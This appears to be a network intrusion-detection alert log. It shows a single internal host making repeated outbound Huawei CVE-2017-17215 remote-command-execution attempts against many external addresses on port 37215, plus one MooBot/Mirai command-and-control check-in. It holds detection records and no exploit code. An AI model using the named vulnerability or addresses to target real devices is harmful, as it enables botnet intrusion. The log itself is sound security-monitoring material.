ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.174.13.71

Timestamp:	2024-08-01T15:35:40.243486+0200
SID:	2835222
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.75.51.78

Timestamp:	2024-08-01T15:36:53.853946+0200
SID:	2835222
Source Port:	41244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.172.126.140

Timestamp:	2024-08-01T15:35:32.992497+0200
SID:	2835222
Source Port:	45088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 89.84.226.150

Timestamp:	2024-08-01T15:36:28.868396+0200
SID:	2835222
Source Port:	36788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.86.173

Timestamp:	2024-08-01T15:35:56.485492+0200
SID:	2835222
Source Port:	44796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.115.158.85

Timestamp:	2024-08-01T15:35:21.848995+0200
SID:	2835222
Source Port:	37040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.170.138

Timestamp:	2024-08-01T15:35:21.905748+0200
SID:	2835222
Source Port:	56794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.42.31.51

Timestamp:	2024-08-01T15:36:57.572926+0200
SID:	2835222
Source Port:	48238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.190.12

Timestamp:	2024-08-01T15:36:18.254351+0200
SID:	2835222
Source Port:	48232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.39.86

Timestamp:	2024-08-01T15:35:21.867546+0200
SID:	2835222
Source Port:	33550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.121.67

Timestamp:	2024-08-01T15:35:20.209326+0200
SID:	2835222
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.124.97.40

Timestamp:	2024-08-01T15:35:56.488863+0200
SID:	2835222
Source Port:	55012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 180.63.19.68

Timestamp:	2024-08-01T15:35:21.905572+0200
SID:	2835222
Source Port:	53804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.187.178.117

Timestamp:	2024-08-01T15:35:32.992325+0200
SID:	2835222
Source Port:	51800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.88.27

Timestamp:	2024-08-01T15:36:09.866129+0200
SID:	2835222
Source Port:	54086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.2.62.147

Timestamp:	2024-08-01T15:35:20.216330+0200
SID:	2835222
Source Port:	53122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.254.70

Timestamp:	2024-08-01T15:36:01.488778+0200
SID:	2835222
Source Port:	46532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:37.537628+0200
SID:	2030490
Source Port:	47402
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.129.99.98

Timestamp:	2024-08-01T15:35:43.352597+0200
SID:	2835222
Source Port:	32866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.45.114

Timestamp:	2024-08-01T15:35:20.203325+0200
SID:	2835222
Source Port:	37384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.4.230.80

Timestamp:	2024-08-01T15:35:20.204050+0200
SID:	2835222
Source Port:	57316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.96.70

Timestamp:	2024-08-01T15:35:17.162784+0200
SID:	2835222
Source Port:	45166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.217.8.97

Timestamp:	2024-08-01T15:36:22.456472+0200
SID:	2835222
Source Port:	38126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.176.125.168

Timestamp:	2024-08-01T15:35:20.205500+0200
SID:	2835222
Source Port:	55942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.133.125.210

Timestamp:	2024-08-01T15:35:21.911380+0200
SID:	2835222
Source Port:	59884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.162.231

Timestamp:	2024-08-01T15:36:22.647039+0200
SID:	2835222
Source Port:	45750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 223.139.155.215

Timestamp:	2024-08-01T15:36:09.890680+0200
SID:	2835222
Source Port:	53174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.205.213.251

Timestamp:	2024-08-01T15:35:37.211390+0200
SID:	2835222
Source Port:	59144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.19.226.122

Timestamp:	2024-08-01T15:35:56.488990+0200
SID:	2835222
Source Port:	37874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.15.135.83

Timestamp:	2024-08-01T15:36:49.568449+0200
SID:	2835222
Source Port:	57378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.41.94.1

Timestamp:	2024-08-01T15:35:53.373575+0200
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.239.22

Timestamp:	2024-08-01T15:36:09.911967+0200
SID:	2835222
Source Port:	53476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.186.180

Timestamp:	2024-08-01T15:36:29.403821+0200
SID:	2835222
Source Port:	60690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.66.25.131

Timestamp:	2024-08-01T15:35:40.230825+0200
SID:	2835222
Source Port:	45070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.196.227

Timestamp:	2024-08-01T15:35:58.619176+0200
SID:	2835222
Source Port:	40048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.36.239

Timestamp:	2024-08-01T15:35:20.214745+0200
SID:	2835222
Source Port:	56302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 173.114.107.169

Timestamp:	2024-08-01T15:35:20.204947+0200
SID:	2835222
Source Port:	38358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.75.6

Timestamp:	2024-08-01T15:36:55.980209+0200
SID:	2835222
Source Port:	47584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.251.239.40

Timestamp:	2024-08-01T15:35:17.014310+0200
SID:	2835222
Source Port:	40764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.100.126.126

Timestamp:	2024-08-01T15:36:01.488733+0200
SID:	2835222
Source Port:	45922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.252.112

Timestamp:	2024-08-01T15:35:33.067080+0200
SID:	2835222
Source Port:	55956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.250.117

Timestamp:	2024-08-01T15:35:31.122972+0200
SID:	2835222
Source Port:	54034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 114.85.232.91

Timestamp:	2024-08-01T15:36:09.890512+0200
SID:	2835222
Source Port:	59946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.38.184

Timestamp:	2024-08-01T15:36:29.046966+0200
SID:	2835222
Source Port:	53728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.163.189

Timestamp:	2024-08-01T15:36:22.370895+0200
SID:	2835222
Source Port:	53956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.78.180

Timestamp:	2024-08-01T15:36:18.308024+0200
SID:	2835222
Source Port:	41388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.216.221

Timestamp:	2024-08-01T15:35:20.545324+0200
SID:	2835222
Source Port:	51178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.253.92

Timestamp:	2024-08-01T15:35:20.206741+0200
SID:	2835222
Source Port:	35098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.21.58.227

Timestamp:	2024-08-01T15:36:44.232622+0200
SID:	2835222
Source Port:	36748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.118.32

Timestamp:	2024-08-01T15:35:21.907108+0200
SID:	2835222
Source Port:	44178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.227.183

Timestamp:	2024-08-01T15:35:56.491378+0200
SID:	2835222
Source Port:	57298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.139.61.77

Timestamp:	2024-08-01T15:36:01.465144+0200
SID:	2835222
Source Port:	54988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.251.247.196

Timestamp:	2024-08-01T15:35:16.637197+0200
SID:	2835222
Source Port:	38732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.68.212

Timestamp:	2024-08-01T15:36:24.597996+0200
SID:	2835222
Source Port:	46018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.104.40

Timestamp:	2024-08-01T15:35:56.571793+0200
SID:	2835222
Source Port:	47126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.24.220

Timestamp:	2024-08-01T15:36:16.326860+0200
SID:	2835222
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.10.149.35

Timestamp:	2024-08-01T15:35:16.400759+0200
SID:	2835222
Source Port:	33474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.196.151

Timestamp:	2024-08-01T15:35:17.176591+0200
SID:	2835222
Source Port:	53694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.58.146.231

Timestamp:	2024-08-01T15:36:14.806383+0200
SID:	2835222
Source Port:	41538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.88.220

Timestamp:	2024-08-01T15:34:58.173383+0200
SID:	2835222
Source Port:	46612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.252.45.45

Timestamp:	2024-08-01T15:35:20.204222+0200
SID:	2835222
Source Port:	53942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.43.198.159

Timestamp:	2024-08-01T15:36:53.713017+0200
SID:	2835222
Source Port:	48200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.90.93.182

Timestamp:	2024-08-01T15:35:21.826140+0200
SID:	2835222
Source Port:	36358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.3.45

Timestamp:	2024-08-01T15:35:20.206655+0200
SID:	2835222
Source Port:	37944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.24.218

Timestamp:	2024-08-01T15:36:34.857766+0200
SID:	2835222
Source Port:	50988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.204.189.71

Timestamp:	2024-08-01T15:36:14.831809+0200
SID:	2835222
Source Port:	37412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 39.125.190.145

Timestamp:	2024-08-01T15:36:06.937095+0200
SID:	2835222
Source Port:	39768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.92.103

Timestamp:	2024-08-01T15:35:53.373090+0200
SID:	2835222
Source Port:	45576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.72.112.32

Timestamp:	2024-08-01T15:35:20.203586+0200
SID:	2835222
Source Port:	54272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.21.7.82

Timestamp:	2024-08-01T15:35:20.207231+0200
SID:	2835222
Source Port:	47268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.200.124.37

Timestamp:	2024-08-01T15:35:21.870323+0200
SID:	2835222
Source Port:	34534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.168.119

Timestamp:	2024-08-01T15:35:43.357419+0200
SID:	2835222
Source Port:	48282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.40.135

Timestamp:	2024-08-01T15:36:46.311933+0200
SID:	2835222
Source Port:	46214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.122.149

Timestamp:	2024-08-01T15:36:24.448778+0200
SID:	2835222
Source Port:	49832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.224.253.79

Timestamp:	2024-08-01T15:35:21.882603+0200
SID:	2835222
Source Port:	44918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 69.172.88.69

Timestamp:	2024-08-01T15:35:54.379042+0200
SID:	2835222
Source Port:	55082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.43.137.111

Timestamp:	2024-08-01T15:35:53.373516+0200
SID:	2835222
Source Port:	34244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.191.52

Timestamp:	2024-08-01T15:36:09.886772+0200
SID:	2835222
Source Port:	45518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.102.57.118

Timestamp:	2024-08-01T15:35:17.157651+0200
SID:	2835222
Source Port:	55458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.240.132.117

Timestamp:	2024-08-01T15:35:48.349147+0200
SID:	2835222
Source Port:	50198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.18.243.184

Timestamp:	2024-08-01T15:35:54.384691+0200
SID:	2835222
Source Port:	40690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 95.35.41.235

Timestamp:	2024-08-01T15:36:32.809243+0200
SID:	2835222
Source Port:	41914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.238.76.171

Timestamp:	2024-08-01T15:35:21.884651+0200
SID:	2835222
Source Port:	49650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.171.29.163

Timestamp:	2024-08-01T15:35:16.400351+0200
SID:	2835222
Source Port:	59278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.237.104.166

Timestamp:	2024-08-01T15:36:06.670769+0200
SID:	2835222
Source Port:	45720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.61.168.163

Timestamp:	2024-08-01T15:35:21.928761+0200
SID:	2835222
Source Port:	46170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.174.250.64

Timestamp:	2024-08-01T15:36:01.488848+0200
SID:	2835222
Source Port:	39314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.176.18.12

Timestamp:	2024-08-01T15:35:21.859685+0200
SID:	2835222
Source Port:	38238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.158.183.224

Timestamp:	2024-08-01T15:35:21.887444+0200
SID:	2835222
Source Port:	55922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.90.223.219

Timestamp:	2024-08-01T15:36:09.887411+0200
SID:	2835222
Source Port:	34620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.60.116.72

Timestamp:	2024-08-01T15:35:21.858407+0200
SID:	2835222
Source Port:	59418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.69.76.72

Timestamp:	2024-08-01T15:35:20.210176+0200
SID:	2835222
Source Port:	34330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.22.222

Timestamp:	2024-08-01T15:36:16.167154+0200
SID:	2835222
Source Port:	38182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.150.118

Timestamp:	2024-08-01T15:36:53.670923+0200
SID:	2835222
Source Port:	52812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.154.192

Timestamp:	2024-08-01T15:35:21.918398+0200
SID:	2835222
Source Port:	42076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.63.209

Timestamp:	2024-08-01T15:35:50.749394+0200
SID:	2835222
Source Port:	55000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.115.117.73

Timestamp:	2024-08-01T15:35:20.207059+0200
SID:	2835222
Source Port:	47688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.90.20.227

Timestamp:	2024-08-01T15:36:09.842403+0200
SID:	2835222
Source Port:	33216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.240.56

Timestamp:	2024-08-01T15:36:20.287027+0200
SID:	2835222
Source Port:	51650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

